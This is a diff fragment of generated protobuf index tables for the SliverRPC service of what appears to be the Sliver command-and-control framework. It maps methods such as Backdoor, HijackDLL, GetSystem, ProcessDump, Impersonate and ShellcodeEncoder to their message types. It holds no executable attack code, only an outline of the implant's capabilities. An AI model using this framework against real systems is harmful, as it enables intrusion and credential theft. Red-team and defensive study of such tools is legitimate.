- 113, // 160: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
- 114, // 161: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
- 115, // 162: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
- 116, // 163: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
- 117, // 164: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
- 118, // 165: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
- 119, // 166: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
- 120, // 167: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
- 121, // 168: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
- 121, // 169: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
- 122, // 170: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
- 123, // 171: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
- 123, // 172: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
- 124, // 173: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
- 0, // 174: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
- 125, // 175: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
- 0, // 176: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
- 126, // 177: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
- 0, // 178: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
- 127, // 179: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
- 0, // 180: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
- 128, // 181: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
- 129, // 182: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
- 0, // 183: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
- 130, // 184: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
- 129, // 185: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
- 129, // 186: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
- 131, // 187: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
- 131, // 188: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
- 131, // 189: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
- 131, // 190: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
- 131, // 191: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
- 132, // 192: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
- 10, // 193: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
- 0, // 194: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
- 133, // 195: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
- 11, // 196: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
- 11, // 197: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
- 134, // 198: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
- 135, // 199: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
- 0, // 200: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
- 136, // 201: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
- 15, // 202: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
- 0, // 203: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
- 15, // 204: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
- 15, // 205: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
- 137, // 206: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
- 16, // 207: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
- 0, // 208: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
- 0, // 209: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
- 0, // 210: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
- 17, // 211: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
- 16, // 212: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
- 16, // 213: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
- 17, // 214: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
- 138, // 215: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
- 18, // 216: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
- 0, // 217: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
- 0, // 218: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
- 139, // 219: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
- 140, // 220: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
- 0, // 221: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
- 140, // 222: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
- 139, // 223: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
- 0, // 224: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
- 141, // 225: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
- 142, // 226: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
- 0, // 227: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
- 29, // 228: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
- 0, // 229: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
- 143, // 230: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
- 29, // 231: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
- 0, // 232: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
- 0, // 233: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
- 144, // 234: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
- 32, // 235: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
- 0, // 236: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
- 145, // 237: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
- 33, // 238: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
- 0, // 239: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
- 34, // 240: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
- 0, // 241: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
- 0, // 242: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
- 139, // 243: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
- 146, // 244: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
- 0, // 245: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
- 147, // 246: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
- 148, // 247: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
- 149, // 248: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
- 150, // 249: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
- 0, // 250: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
- 37, // 251: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
- 151, // 252: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
- 152, // 253: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
- 153, // 254: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
- 154, // 255: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
- 155, // 256: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
- 156, // 257: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
- 157, // 258: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
- 0, // 259: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
- 158, // 260: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
- 42, // 261: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
- 0, // 262: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
- 42, // 263: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
- 42, // 264: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
- 42, // 265: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
- 45, // 266: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
- 159, // 267: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
- 160, // 268: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
- 161, // 269: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
- 162, // 270: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
- 163, // 271: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
- 164, // 272: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
- 164, // 273: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
- 165, // 274: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
- 166, // 275: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
- 167, // 276: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
- 168, // 277: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
- 169, // 278: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
- 170, // 279: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
- 171, // 280: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
- 172, // 281: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
- 173, // 282: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
- 174, // 283: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
- 163, // 284: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
- 175, // 285: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
- 176, // 286: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
- 177, // 287: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
- 178, // 288: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
- 179, // 289: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
- 180, // 290: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
- 181, // 291: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
- 182, // 292: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
- 182, // 293: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
- 182, // 294: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
- 183, // 295: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
- 184, // 296: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
- 185, // 297: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
- 185, // 298: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
- 186, // 299: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
- 187, // 300: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
- 188, // 301: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
- 189, // 302: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
- 190, // 303: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
- 0, // 304: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
- 191, // 305: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
- 192, // 306: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
- 193, // 307: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
- 193, // 308: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
- 193, // 309: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
- 194, // 310: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
- 195, // 311: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
- 196, // 312: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
- 197, // 313: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
- 198, // 314: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
- 199, // 315: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
- 200, // 316: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
- 201, // 317: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
- 202, // 318: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
- 203, // 319: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
- 204, // 320: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
- 205, // 321: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
- 206, // 322: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
- 207, // 323: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
- 208, // 324: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
- 209, // 325: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
- 208, // 326: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
- 105, // 327: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
- 0, // 328: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
- 210, // 329: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
- 211, // 330: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
- 212, // 331: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
- 213, // 332: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
- 214, // 333: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
- 215, // 334: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
- 216, // 335: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
- 216, // 336: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
- 217, // 337: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
- 217, // 338: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
- 218, // 339: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
- 219, // 340: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
- 220, // 341: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
- 221, // 342: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
- 121, // 343: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
- 0, // 344: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
- 122, // 345: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
- 123, // 346: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
- 0, // 347: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
- 124, // 348: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
- 29, // 349: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
- 175, // [175:350] is the sub-list for method output_type
- 0, // [0:175] is the sub-list for method input_type
+ 5, // 6: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand
+ 6, // 7: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest
+ 0, // 8: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty
+ 0, // 9: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
+ 0, // 10: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
+ 0, // 11: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty
+ 7, // 12: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider
+ 7, // 13: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider
+ 8, // 14: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
+ 9, // 15: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
+ 10, // 16: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
+ 11, // 17: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
+ 11, // 18: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
+ 0, // 19: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty
+ 12, // 20: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon
+ 12, // 21: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon
+ 12, // 22: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon
+ 13, // 23: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask
+ 13, // 24: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask
+ 0, // 25: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
+ 14, // 26: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
+ 15, // 27: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq
+ 16, // 28: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
+ 17, // 29: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
+ 17, // 30: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
+ 17, // 31: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
+ 17, // 32: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
+ 0, // 33: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
+ 0, // 34: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty
+ 18, // 35: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials
+ 18, // 36: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials
+ 18, // 37: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials
+ 19, // 38: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential
+ 19, // 39: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential
+ 19, // 40: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential
+ 19, // 41: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential
+ 0, // 42: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
+ 20, // 43: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
+ 20, // 44: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
+ 21, // 45: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
+ 22, // 46: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
+ 23, // 47: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq
+ 24, // 48: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary
+ 25, // 49: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild
+ 26, // 50: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq
+ 27, // 51: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq
+ 0, // 52: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty
+ 28, // 53: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq
+ 29, // 54: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq
+ 30, // 55: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder
+ 31, // 56: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event
+ 0, // 57: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty
+ 32, // 58: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation
+ 31, // 59: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event
+ 33, // 60: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark
+ 0, // 61: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty
+ 34, // 62: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask
+ 34, // 63: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask
+ 35, // 64: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile
+ 35, // 65: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile
+ 36, // 66: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk
+ 36, // 67: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk
+ 35, // 68: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile
+ 35, // 69: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile
+ 37, // 70: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
+ 0, // 71: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
+ 38, // 72: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
+ 0, // 73: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
+ 0, // 74: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
+ 0, // 75: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
+ 0, // 76: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
+ 38, // 77: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
+ 39, // 78: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
+ 40, // 79: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
+ 41, // 80: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
+ 0, // 81: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
+ 0, // 82: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty
+ 42, // 83: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
+ 0, // 84: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
+ 0, // 85: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty
+ 43, // 86: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder
+ 43, // 87: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder
+ 0, // 88: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
+ 44, // 89: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
+ 44, // 90: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
+ 45, // 91: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
+ 45, // 92: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
+ 46, // 93: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
+ 47, // 94: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
+ 48, // 95: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
+ 49, // 96: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
+ 50, // 97: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
+ 51, // 98: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
+ 52, // 99: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
+ 53, // 100: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
+ 54, // 101: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
+ 55, // 102: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
+ 56, // 103: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq
+ 57, // 104: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
+ 58, // 105: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
+ 59, // 106: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
+ 60, // 107: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
+ 61, // 108: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq
+ 62, // 109: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
+ 63, // 110: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
+ 64, // 111: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
+ 65, // 112: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq
+ 66, // 113: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq
+ 67, // 114: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq
+ 68, // 115: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
+ 69, // 116: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
+ 70, // 117: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
+ 71, // 118: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
+ 72, // 119: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
+ 73, // 120: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
+ 74, // 121: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
+ 75, // 122: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
+ 76, // 123: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
+ 77, // 124: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
+ 78, // 125: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
+ 79, // 126: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
+ 80, // 127: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
+ 81, // 128: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
+ 82, // 129: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
+ 83, // 130: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
+ 84, // 131: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
+ 85, // 132: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
+ 86, // 133: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
+ 0, // 134: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
+ 87, // 135: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
+ 88, // 136: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
+ 89, // 137: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
+ 90, // 138: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
+ 91, // 139: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
+ 92, // 140: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
+ 93, // 141: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
